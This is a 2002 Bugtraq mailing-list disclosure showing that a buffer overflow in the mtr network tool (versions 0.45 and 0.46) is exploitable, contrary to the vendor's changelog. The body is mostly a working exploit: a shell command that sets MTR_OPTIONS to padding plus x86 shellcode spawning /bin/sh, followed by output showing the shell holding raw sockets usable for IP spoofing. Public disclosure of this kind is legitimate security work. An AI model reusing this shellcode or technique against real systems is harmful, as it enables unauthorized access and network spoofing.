[24564] in bugtraq
mtr 0.45, 0.46
daemon@ATHENA.MIT.EDU (Przemyslaw Frasunek)
Wed Mar 6 12:06:38 2002
Date: Wed, 6 Mar 2002 15:41:43 +0100
From: Przemyslaw Frasunek <venglin@freebsd.lublin.pl>
To: bugtraq@securityfocus.com
Message-ID: <20020306154142.J31779@lagoon.freebsd.lublin.pl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Few days ago, a new version of mtr has been released. Authors wrote
in CHANGELOG, that they fixed a non-exploitable buffer overflow.
In fact, this vulnerability is very easly exploitable and allows
attacker to gain access to raw socket, which makes possible ip spoofing
and other malicious network activity.
The sample exploit is TRIVIAL because of strtok/while loop in vulnerable code.
clitoris:/home/venglin/mtr-0.45> uname -smr
Linux 2.4.8-26mdk i686
clitoris:/home/venglin/mtr-0.45> setenv MTR_OPTIONS `perl -e 'print "A "x130 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'`
clitoris:/home/venglin/mtr-0.45> ./mtr
sh-2.05$
At this point, exec'd shell has a raw socket opened:
clitoris:/home/venglin/mtr-0.45> /usr/sbin/lsof | grep raw
sh 17263 venglin 3u raw 605400 00000000:00FF->00000000:0000 st=07
sh 17263 venglin 4u raw 605401 00000000:0001->00000000:0000 st=07
sh-2.05$ ls -la /proc/self/fd/
total 0
dr-x------ 2 venglin venglin 0 Mar 6 15:40 .
dr-xr-xr-x 3 venglin venglin 0 Mar 6 15:40 ..
lrwx------ 1 venglin venglin 64 Mar 6 15:40 0 -> /dev/pts/6
lrwx------ 1 venglin venglin 64 Mar 6 15:40 1 -> /dev/pts/6
lrwx------ 1 venglin venglin 64 Mar 6 15:40 2 -> /dev/pts/6
lrwx------ 1 venglin venglin 64 Mar 6 15:40 3 -> socket:[605400]
lrwx------ 1 venglin venglin 64 Mar 6 15:40 4 -> socket:[605401]
lr-x------ 1 venglin venglin 64 Mar 6 15:40 5 -> /proc/17318/fd
--
* Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NIC-HDL: PMF9-RIPE *
* Inet: przemyslaw@frasunek.com ** PGP: D48684904685DF43EA93AFA13BE170BF *
